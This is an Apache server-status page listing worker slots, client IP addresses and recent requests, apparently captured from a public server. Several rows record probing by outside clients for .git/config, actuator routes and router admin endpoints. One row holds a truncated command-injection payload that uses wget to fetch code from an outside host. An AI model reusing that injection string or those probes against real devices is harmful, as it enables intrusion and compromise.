.____W___.._........_........................................... ................................................................ ......................
Scoreboard Key:
"_" Waiting for Connection, 
"S" Starting up, 
"R" Reading Request,
"W" Sending Reply, 
"K" Keepalive (read), 
"D" DNS Lookup,
"C" Closing connection, 
"L" Logging, 
"G" Gracefully finishing,
 
"I" Idle cleanup of worker, 
"." Open slot with no current process
| Srv | PID | Acc | M | CPU | SS | Req | Dur | Conn | Child | Slot | Client | Protocol | VHost | Request | 
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 0-40 | - | 0/0/3318 | . | 0.00 | 1700 | 0 | 53571 | 0.0 | 0.00 | 9.96 | ::1 | http/1.1 | ||
| 1-40 | 314388 | 0/28/3484 | _ | 0.02 | 422 | 0 | 34826 | 0.0 | 0.06 | 9.79 | 94.74.182.138 | http/1.1 | localhost:80 | GET /login.rsp HTTP/1.1 | 
| 2-40 | 314574 | 0/28/2782 | _ | 0.02 | 627 | 0 | 22029 | 0.0 | 0.04 | 8.26 | 172.69.130.193 | http/1.1 | localhost:80 | GET /css/ui.tabs.css HTTP/1.1 | 
| 3-40 | 316353 | 0/10/2840 | _ | 0.00 | 332 | 0 | 11951 | 0.0 | 0.03 | 8.41 | 172.70.50.62 | http/1.1 | localhost:80 | GET /js/ui.core.js HTTP/1.1 | 
| 4-40 | 316354 | 0/8/3119 | _ | 0.00 | 110 | 0 | 55262 | 0.0 | 0.02 | 8.78 | 172.70.50.67 | http/1.1 | localhost:80 | GET /css/base.css HTTP/1.1 | 
| 5-40 | 316355 | 0/9/2919 | W | 0.00 | 0 | 0 | 11413 | 0.0 | 0.04 | 8.28 | 172.70.80.206 | http/1.1 | localhost:80 | GET /server-status HTTP/1.1 | 
| 6-40 | 314389 | 0/38/2789 | _ | 0.02 | 409 | 0 | 38033 | 0.0 | 0.05 | 7.51 | 79.124.40.174 | http/1.1 | localhost:80 | GET /actuator/gateway/routes HTTP/1.1 | 
| 7-40 | 317430 | 0/2/2119 | _ | 0.00 | 568 | 0 | 11104 | 0.0 | 0.01 | 6.15 | 172.71.1.170 | http/1.1 | localhost:80 | GET /images/adminer.png HTTP/1.1 | 
| 8-40 | 317431 | 0/2/2221 | _ | 0.00 | 520 | 0 | 34481 | 0.0 | 0.00 | 6.33 | 65.49.1.172 | http/1.1 | localhost:443 | GET /.git/config HTTP/1.1 | 
| 9-39 | - | 0/0/2428 | . | 0.00 | 50030 | 1 | 5530 | 0.0 | 0.00 | 6.33 | ::1 | http/1.1 | ||
| 10-39 | - | 0/0/1457 | . | 0.00 | 50031 | 1 | 14851 | 0.0 | 0.00 | 4.97 | ::1 | http/1.1 | ||
| 11-40 | 314387 | 0/28/1688 | _ | 0.01 | 568 | 0 | 29563 | 0.0 | 0.04 | 5.06 | 172.71.255.89 | http/1.1 | localhost:80 | GET /js/ui.tabs.js HTTP/1.1 | 
| 12-39 | - | 0/0/1387 | . | 0.00 | 50029 | 1 | 11313 | 0.0 | 0.00 | 5.39 | ::1 | http/1.1 | ||
| 13-40 | - | 0/0/1247 | . | 0.00 | 1699 | 0 | 4470 | 0.0 | 0.00 | 4.65 | ::1 | http/1.1 | ||
| 14-39 | - | 0/0/651 | . | 0.00 | 79916 | 1 | 1348 | 0.0 | 0.00 | 2.88 | ::1 | http/1.1 | ||
| 15-39 | - | 0/0/471 | . | 0.00 | 79918 | 1 | 302 | 0.0 | 0.00 | 1.85 | ::1 | http/1.1 | ||
| 16-39 | - | 0/0/321 | . | 0.00 | 79912 | 1 | 862 | 0.0 | 0.00 | 1.91 | ::1 | http/1.1 | ||
| 17-39 | - | 0/0/288 | . | 0.00 | 69409 | 0 | 2332 | 0.0 | 0.00 | 2.02 | ::1 | http/1.1 | ||
| 18-39 | - | 0/0/274 | . | 0.00 | 79911 | 1 | 1958 | 0.0 | 0.00 | 2.17 | ::1 | http/1.1 | ||
| 19-39 | - | 0/0/482 | . | 0.00 | 52034 | 0 | 3589 | 0.0 | 0.00 | 2.50 | ::1 | http/1.1 | ||
| 20-40 | 314391 | 0/28/604 | _ | 0.02 | 386 | 0 | 3467 | 0.0 | 0.06 | 2.97 | 37.49.148.32 | http/1.1 | localhost:80 | GET /cgi-bin/luci/;stok=/locale HTTP/1.1 | 
| 21-39 | - | 0/0/211 | . | 0.00 | 79920 | 0 | 4616 | 0.0 | 0.00 | 1.70 | ::1 | http/1.1 | ||
| 22-39 | - | 0/0/650 | . | 0.00 | 24092 | 0 | 2206 | 0.0 | 0.00 | 2.90 | 20.42.92.153 | http/1.1 | ||
| 23-39 | - | 0/0/306 | . | 0.00 | 79919 | 0 | 3973 | 0.0 | 0.00 | 2.50 | ::1 | http/1.1 | ||
| 24-39 | - | 0/0/385 | . | 0.00 | 24092 | 0 | 2509 | 0.0 | 0.00 | 1.92 | 204.76.203.206 | http/1.1 | localhost:80 | GET / HTTP/1.1 | 
| 25-36 | - | 0/0/334 | . | 0.00 | 359874 | 0 | 3433 | 0.0 | 0.00 | 2.23 | ::1 | http/1.1 | ||
| 26-35 | - | 0/0/263 | . | 0.00 | 379187 | 1 | 870 | 0.0 | 0.00 | 1.67 | ::1 | http/1.1 | ||
| 27-38 | - | 0/0/546 | . | 0.00 | 124720 | 0 | 775 | 0.0 | 0.00 | 1.81 | ::1 | http/1.1 | ||
| 28-35 | - | 0/0/250 | . | 0.00 | 379173 | 0 | 86 | 0.0 | 0.00 | 1.14 | ::1 | http/1.1 | ||
| 29-35 | - | 0/0/58 | . | 0.00 | 379172 | 0 | 634 | 0.0 | 0.00 | 0.92 | ::1 | http/1.1 | ||
| 30-35 | - | 0/0/268 | . | 0.00 | 369692 | 0 | 970 | 0.0 | 0.00 | 1.16 | 51.158.54.10 | http/1.1 | ||
| 31-35 | - | 0/0/97 | . | 0.00 | 379170 | 0 | 42 | 0.0 | 0.00 | 0.99 | ::1 | http/1.1 | ||
| 32-35 | - | 0/0/79 | . | 0.00 | 379158 | 0 | 38 | 0.0 | 0.00 | 0.98 | ::1 | http/1.1 | ||
| 33-35 | - | 0/0/60 | . | 0.00 | 369692 | 0 | 1370 | 0.0 | 0.00 | 0.91 | 194.165.16.166 | http/1.1 | ||
| 34-35 | - | 0/0/49 | . | 0.00 | 379168 | 0 | 373 | 0.0 | 0.00 | 0.59 | ::1 | http/1.1 | ||
| 35-35 | - | 0/0/142 | . | 0.00 | 379167 | 0 | 48 | 0.0 | 0.00 | 0.83 | ::1 | http/1.1 | ||
| 36-35 | - | 0/0/85 | . | 0.00 | 379174 | 0 | 1760 | 0.0 | 0.00 | 0.74 | ::1 | http/1.1 | ||
| 37-35 | - | 0/0/91 | . | 0.00 | 369692 | 0 | 722 | 0.0 | 0.00 | 0.92 | 193.142.147.209 | http/1.1 | localhost:80 | Get /login.asp HTTP/1.1 | 
| 38-35 | - | 0/0/73 | . | 0.00 | 369692 | 0 | 1059 | 0.0 | 0.00 | 0.58 | 193.142.147.209 | http/1.1 | localhost:80 | pingAddr=1.1.1.1%7Cecho+%24%28cd%20/tmp;wget%20http://94.154.35 | 
| 39-35 | - | 0/0/212 | . | 0.00 | 379159 | 0 | 620 | 0.0 | 0.00 | 0.90 | ::1 | http/1.1 | ||
| 40-35 | - | 0/0/123 | . | 0.00 | 369692 | 0 | 4033 | 0.0 | 0.00 | 0.89 | 193.142.147.209 | http/1.1 | localhost:80 | POST /boaform/admin/formLogin HTTP/1.1 | 
| 41-29 | - | 0/0/76 | . | 0.00 | 952957 | 0 | 26 | 0.0 | 0.00 | 0.31 | ::1 | http/1.1 | ||
| 42-29 | - | 0/0/36 | . | 0.00 | 952956 | 2 | 24 | 0.0 | 0.00 | 0.19 | ::1 | http/1.1 | ||
| 43-29 | - | 0/0/89 | . | 0.00 | 898513 | 0 | 54 | 0.0 | 0.00 | 0.36 | ::1 | http/1.1 | ||
| 44-28 | - | 0/0/8 | . | 0.00 | 1008188 | 1 | 9 | 0.0 | 0.00 | 0.13 | ::1 | http/1.1 | ||
| 45-26 | - | 0/0/29 | . | 0.00 | 1193657 | 0 | 8 | 0.0 | 0.00 | 0.04 | ::1 | http/1.1 | ||
| 46-26 | - | 0/0/68 | . | 0.00 | 1193658 | 0 | 70 | 0.0 | 0.00 | 0.10 | ::1 | http/1.1 | ||
| 47-26 | - | 0/0/16 | . | 0.00 | 1193656 | 0 | 2 | 0.0 | 0.00 | 0.02 | ::1 | http/1.1 | ||
| 48-26 | - | 0/0/55 | . | 0.00 | 1193655 | 0 | 7 | 0.0 | 0.00 | 0.05 | ::1 | http/1.1 | ||
| 49-26 | - | 0/0/46 | . | 0.00 | 1193651 | 0 | 6 | 0.0 | 0.00 | 0.04 | ::1 | http/1.1 | ||
| 50-26 | - | 0/0/190 | . | 0.00 | 1193647 | 0 | 77 | 0.0 | 0.00 | 0.43 | ::1 | http/1.1 | ||
| 51-26 | - | 0/0/15 | . | 0.00 | 1193650 | 0 | 2 | 0.0 | 0.00 | 0.02 | ::1 | http/1.1 | ||
| 52-26 | - | 0/0/84 | . | 0.00 | 1193649 | 0 | 22 | 0.0 | 0.00 | 0.10 | ::1 | http/1.1 | ||
| 53-26 | - | 0/0/96 | . | 0.00 | 1193648 | 0 | 13 | 0.0 | 0.00 | 0.10 | ::1 | http/1.1 | ||
| 54-26 | - | 0/0/138 | . | 0.00 | 1193652 | 0 | 60 | 0.0 | 0.00 | 0.38 | ::1 | http/1.1 | ||
| 55-26 | - | 0/0/78 | . | 0.00 | 1193642 | 0 | 9 | 0.0 | 0.00 | 0.08 | ::1 | http/1.1 | ||
| 56-26 | - | 0/0/92 | . | 0.00 | 1193645 | 0 | 12 | 0.0 | 0.00 | 0.10 | ::1 | http/1.1 | ||
| 57-26 | - | 0/0/31 | . | 0.00 | 1193646 | 0 | 4 | 0.0 | 0.00 | 0.03 | ::1 | http/1.1 | ||
| 58-26 | - | 0/0/136 | . | 0.00 | 1193643 | 0 | 21 | 0.0 | 0.00 | 0.12 | ::1 | http/1.1 | ||
| 59-26 | - | 0/0/14 | . | 0.00 | 1193644 | 0 | 2 | 0.0 | 0.00 | 0.02 | ::1 | http/1.1 | ||
| 60-26 | - | 0/0/21 | . | 0.00 | 1193641 | 0 | 3 | 0.0 | 0.00 | 0.02 | ::1 | http/1.1 | ||
| 61-26 | - | 0/0/39 | . | 0.00 | 1193640 | 0 | 5 | 0.0 | 0.00 | 0.04 | ::1 | http/1.1 | ||
| 62-26 | - | 0/0/35 | . | 0.00 | 1193635 | 0 | 5 | 0.0 | 0.00 | 0.04 | ::1 | http/1.1 | ||
| 63-26 | - | 0/0/33 | . | 0.00 | 1193634 | 0 | 9 | 0.0 | 0.00 | 0.06 | ::1 | http/1.1 | ||
| 64-27 | - | 0/0/108 | . | 0.00 | 1123480 | 0 | 206 | 0.0 | 0.00 | 0.19 | ::1 | http/1.1 | ||
| 65-26 | - | 0/0/13 | . | 0.00 | 1193639 | 0 | 2 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
| 66-26 | - | 0/0/12 | . | 0.00 | 1193637 | 0 | 2 | 0.0 | 0.00 | 0.02 | ::1 | http/1.1 | ||
| 67-26 | - | 0/0/108 | . | 0.00 | 1193636 | 0 | 18 | 0.0 | 0.00 | 0.12 | ::1 | http/1.1 | ||
| 68-26 | - | 0/0/8 | . | 0.00 | 1193638 | 0 | 1 | 0.0 | 0.00 | 0.02 | ::1 | http/1.1 | ||
| 69-27 | - | 0/0/251 | . | 0.00 | 1123291 | 0 | 286 | 0.0 | 0.00 | 0.28 | ::1 | http/1.1 | ||
| 70-26 | - | 0/0/105 | . | 0.00 | 1193631 | 1 | 17 | 0.0 | 0.00 | 0.11 | ::1 | http/1.1 | ||
| 71-26 | - | 0/0/8 | . | 0.00 | 1193632 | 1 | 2 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
| 72-26 | - | 0/0/108 | . | 0.00 | 1193629 | 0 | 19 | 0.0 | 0.00 | 0.10 | ::1 | http/1.1 | ||
| 73-26 | - | 0/0/5 | . | 0.00 | 1193626 | 1 | 3 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 74-26 | - | 0/0/6 | . | 0.00 | 1193668 | 0 | 2 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
| 75-26 | - | 0/0/8 | . | 0.00 | 1193670 | 0 | 1 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
| 76-27 | - | 0/0/217 | . | 0.00 | 1098466 | 0 | 238 | 0.0 | 0.00 | 0.23 | ::1 | http/1.1 | ||
| 77-26 | - | 0/0/8 | . | 0.00 | 1193630 | 0 | 7 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
| 78-26 | - | 0/0/25 | . | 0.00 | 1193627 | 0 | 10 | 0.0 | 0.00 | 0.02 | ::1 | http/1.1 | ||
| 79-26 | - | 0/0/44 | . | 0.00 | 1193628 | 0 | 16 | 0.0 | 0.00 | 0.03 | ::1 | http/1.1 | ||
| 80-26 | - | 0/0/4 | . | 0.00 | 1193625 | 0 | 7 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 81-26 | - | 0/0/3 | . | 0.00 | 1193624 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 82-26 | - | 0/0/5 | . | 0.00 | 1193619 | 0 | 2 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 83-26 | - | 0/0/3 | . | 0.00 | 1193623 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 84-26 | - | 0/0/4 | . | 0.00 | 1193618 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 85-26 | - | 0/0/5 | . | 0.00 | 1193616 | 0 | 1 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 86-26 | - | 0/0/3 | . | 0.00 | 1193621 | 0 | 1 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 87-26 | - | 0/0/3 | . | 0.00 | 1193622 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 88-26 | - | 0/0/3 | . | 0.00 | 1193615 | 0 | 3 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
| 89-26 | - | 0/0/3 | . | 0.00 | 1193620 | 0 | 1 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
| 90-26 | - | 0/0/3 | . | 0.00 | 1193617 | 0 | 1 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 91-26 | - | 0/0/3 | . | 0.00 | 1193612 | 0 | 1 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 92-26 | - | 0/0/3 | . | 0.00 | 1193614 | 0 | 1 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 93-26 | - | 0/0/3 | . | 0.00 | 1193613 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 94-26 | - | 0/0/3 | . | 0.00 | 1193608 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 95-26 | - | 0/0/3 | . | 0.00 | 1193611 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 96-26 | - | 0/0/3 | . | 0.00 | 1193609 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 97-26 | - | 0/0/3 | . | 0.00 | 1193610 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 98-26 | - | 0/0/3 | . | 0.00 | 1193605 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 99-26 | - | 0/0/3 | . | 0.00 | 1193606 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 100-26 | - | 0/0/3 | . | 0.00 | 1193604 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 101-26 | - | 0/0/3 | . | 0.00 | 1193607 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 102-26 | - | 0/0/2 | . | 0.00 | 1193599 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 103-26 | - | 0/0/2 | . | 0.00 | 1193603 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 104-26 | - | 0/0/2 | . | 0.00 | 1193600 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 105-26 | - | 0/0/82 | . | 0.00 | 1161846 | 0 | 18 | 0.0 | 0.00 | 0.08 | ::1 | http/1.1 | ||
| 106-21 | - | 0/0/1 | . | 0.00 | 1623927 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 107-21 | - | 0/0/1 | . | 0.00 | 1623925 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 108-21 | - | 0/0/1 | . | 0.00 | 1623926 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 109-21 | - | 0/0/1 | . | 0.00 | 1623924 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 110-21 | - | 0/0/1 | . | 0.00 | 1623922 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 111-21 | - | 0/0/1 | . | 0.00 | 1623921 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 112-21 | - | 0/0/1 | . | 0.00 | 1623919 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 113-21 | - | 0/0/1 | . | 0.00 | 1623920 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 114-24 | - | 0/0/246 | . | 0.00 | 1377795 | 1 | 386 | 0.0 | 0.00 | 0.65 | ::1 | http/1.1 | ||
| 115-22 | - | 0/0/274 | . | 0.00 | 1546788 | 0 | 68 | 0.0 | 0.00 | 0.22 | ::1 | http/1.1 | ||
| 116-21 | - | 0/0/1 | . | 0.00 | 1623918 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 117-21 | - | 0/0/4 | . | 0.00 | 1622754 | 0 | 2 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 118-22 | - | 0/0/67 | . | 0.00 | 1552293 | 0 | 21 | 0.0 | 0.00 | 0.10 | ::1 | http/1.1 | ||
| 119-24 | - | 0/0/248 | . | 0.00 | 1377794 | 1 | 279 | 0.0 | 0.00 | 0.65 | ::1 | http/1.1 | ||
| 120-22 | - | 0/0/179 | . | 0.00 | 1531087 | 0 | 46 | 0.0 | 0.00 | 0.17 | ::1 | http/1.1 | ||
| 121-21 | - | 0/0/24 | . | 0.00 | 1579292 | 0 | 10 | 0.0 | 0.00 | 0.03 | 185.242.226.124 | http/1.1 | ||
| 122-21 | - | 0/0/31 | . | 0.00 | 1579292 | 0 | 11 | 0.0 | 0.00 | 0.04 | 185.242.226.124 | http/1.1 | ||
| 123-21 | - | 0/0/46 | . | 0.00 | 1622757 | 0 | 14 | 0.0 | 0.00 | 0.04 | ::1 | http/1.1 | ||
| 125-21 | - | 0/0/4 | . | 0.00 | 1622756 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | 
| Srv | Child Server number - generation | 
|---|---|
| PID | OS process ID | 
| Acc | Number of accesses this connection / this child / this slot | 
| M | Mode of operation | 
| CPU | CPU usage, number of seconds | 
| SS | Seconds since beginning of most recent request | 
| Req | Milliseconds required to process most recent request | 
| Dur | Sum of milliseconds required to process all requests | 
| Conn | Kilobytes transferred this connection | 
| Child | Megabytes transferred this child | 
| Slot | Total megabytes transferred this slot | 
| SSL/TLS Session Cache Status: | 
| 
cache type: SHMCB, shared memory: 512000 bytes, current entries: 0 subcaches: 32, indexes per subcache: 88 index usage: 0%, cache usage: 0% total entries stored since starting: 69 total entries replaced since starting: 0 total entries expired since starting: 68 total (pre-expiry) entries scrolled out of the cache: 0 total retrieves since starting: 0 hit, 11 miss total removes since starting: 1 hit, 1 miss  |